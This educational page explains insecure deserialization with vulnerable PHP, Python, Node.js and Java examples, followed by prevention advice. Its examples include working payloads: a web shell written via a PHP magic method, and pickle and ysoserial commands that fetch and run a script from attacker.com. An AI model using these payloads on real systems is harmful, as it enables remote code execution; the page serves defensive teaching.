Back to Learning Center
criticalOWASP A08:2021CWE-502

Insecure Deserialization

Insecure deserialization occurs when applications reconstruct objects from untrusted data without adequate validation. Attackers can manipulate serialized data to inject malicious objects, leading to remote code execution, privilege escalation, or denial of service. This vulnerability class has caused some of the most severe security incidents, including the infamous Log4Shell attack.

What Is Serialization?

Serialization converts complex data structures or objects into a format that can be stored (files, databases) or transmitted (network, APIs). Deserialization is the reverse process - reconstructing the original object from the serialized data.

Common serialization formats include:

  • Java native serialization (binary)
  • PHP serialize()
  • Python pickle
  • .NET BinaryFormatter
  • YAML (with object tags)

Why Deserialization Is Dangerous

When applications deserialize user-controlled data, attackers can replace expected objects with objects of entirely different classes. The deserializer will instantiate ANY class available to the application, not just the expected type. This is sometimes called 'object injection.'

The attacker's goal is to find 'gadget chains' - sequences of existing classes whose methods, when called during deserialization, perform dangerous operations like executing commands or writing files.

Vulnerable Code Examples

PHP Insecure Deserialization

php
<?php
// Vulnerable: Deserializing user input directly
class User {
    public $name;
    public $isAdmin = false;
}

// Attacker controls this cookie value
$userData = unserialize($_COOKIE['user']);

if ($userData->isAdmin) {
    // Admin functionality
    showAdminPanel();
}

// Attack payload (URL encoded in cookie):
// O:4:"User":2:{s:4:"name";s:5:"hacker";s:7:"isAdmin";b:1;}
// This creates a User object with isAdmin = true

PHP Magic Methods for RCE

php
<?php
// Dangerous class with magic method
class FileHandler {
    public $filename;
    public $content;
    
    // Called when object is destroyed
    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

// If attacker can unserialize a FileHandler object:
$payload = 'O:11:"FileHandler":2:{s:8:"filename";s:18:"/var/www/shell.php";s:7:"content";s:27:"<?php system($_GET["c"]); ?>";}';

// When this object is garbage collected, __destruct runs
// Writing a web shell to the server

Python Pickle RCE

python
import pickle
import base64
import os

# Vulnerable: Loading untrusted pickle data
def load_session(session_data):
    # DANGEROUS: Never unpickle untrusted data
    return pickle.loads(base64.b64decode(session_data))

# Attacker creates malicious pickle
class Exploit:
    def __reduce__(self):
        # This method tells pickle how to reconstruct the object
        # We abuse it to execute arbitrary commands
        return (os.system, ('curl http://attacker.com/shell | bash',))

# Generate malicious payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)  # Send this as session_data

Node.js node-serialize

javascript
const serialize = require('node-serialize');

// Vulnerable: Deserializing user input
app.post('/session', (req, res) => {
  const sessionData = req.cookies.session;
  // DANGEROUS: Untrusted deserialization
  const session = serialize.unserialize(sessionData);
  res.json({ user: session.user });
});

// Attack payload using IIFE (Immediately Invoked Function Expression)
const payload = {
  rce: function() {
    require('child_process').execSync('id > /tmp/pwned');
  }()
};

// node-serialize executes the function during deserialization
// Payload: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

Java Deserialization

java
// Vulnerable: Deserializing untrusted data
public class SessionManager {
    public Object loadSession(byte[] sessionData) throws Exception {
        ByteArrayInputStream bis = new ByteArrayInputStream(sessionData);
        // DANGEROUS: No validation of what's being deserialized
        ObjectInputStream ois = new ObjectInputStream(bis);
        return ois.readObject();  // Can instantiate ANY serializable class
    }
}

// Attackers use tools like ysoserial to generate gadget chains:
// java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash'

Identifying Serialized Data

Look for these signatures in cookies, request parameters, or stored data:

  • Java: Hex starts with AC ED 00 05 (or base64 rO0AB)
  • PHP: O:4:"User":2:{...} or a:2:{...}
  • Python pickle: \x80\x04\x95 (binary) or base64 encoded
  • .NET: AAEAAAD///// (base64)

Prevention Strategies

Use Safe Data Formats

Prefer JSON or other data-only formats that cannot encode executable logic:

javascript
// Secure: Use JSON instead of serialization
// JSON can only represent data, not executable code

// Instead of serialized objects:
// O:4:"User":2:{s:4:"name";s:4:"john";s:7:"isAdmin";b:0;}

// Use JSON:
const userData = JSON.stringify({ name: 'john', isAdmin: false });

// Parse safely (JSON.parse cannot execute code)
const user = JSON.parse(userData);

Implement Integrity Checks

javascript
import crypto from 'crypto';

const SECRET = process.env.SIGNING_SECRET;

// Sign serialized data
function signData(data) {
  const serialized = JSON.stringify(data);
  const signature = crypto
    .createHmac('sha256', SECRET)
    .update(serialized)
    .digest('hex');
  return `${serialized}.${signature}`;
}

// Verify before deserializing
function verifyAndParse(signedData) {
  const [data, signature] = signedData.split('.');
  const expected = crypto
    .createHmac('sha256', SECRET)
    .update(data)
    .digest('hex');
  
  if (!crypto.timingSafeEqual(
    Buffer.from(signature), 
    Buffer.from(expected)
  )) {
    throw new Error('Signature verification failed');
  }
  
  return JSON.parse(data);
}

Type Whitelisting (Java)

java
// Secure: Whitelist allowed classes
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

public Object safeDeserialize(byte[] data) throws Exception {
    ByteArrayInputStream bis = new ByteArrayInputStream(data);
    ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bis);
    
    // Only allow specific classes
    ois.accept("com.myapp.User");
    ois.accept("com.myapp.Session");
    ois.reject("*");  // Reject everything else
    
    return ois.readObject();
}

Safe Alternatives for Python

python
# NEVER use pickle for untrusted data
# Use these alternatives instead:

import json
import yaml  # with safe_load only

# JSON is always safe (data only)
data = json.loads(user_input)

# YAML: ONLY use safe_load
data = yaml.safe_load(user_input)  # Safe
# data = yaml.load(user_input)     # DANGEROUS - can execute code

# For complex objects, use explicit conversion
class User:
    def __init__(self, name: str, role: str):
        self.name = name
        self.role = role
    
    @classmethod
    def from_dict(cls, data: dict):
        # Explicit, validated deserialization
        return cls(
            name=str(data.get('name', '')),
            role=str(data.get('role', 'user'))
        )

Security Checklist

  • Never deserialize data from untrusted sources
  • Prefer JSON over language-specific serialization formats
  • Implement cryptographic signatures for any serialized data
  • Use class whitelisting when deserialization is unavoidable
  • Run deserialization in sandboxed/isolated environments
  • Monitor for suspicious serialization signatures in input
  • Apply principle of least privilege to deserialized objects
  • Keep dependencies updated (gadget chains exploit known classes)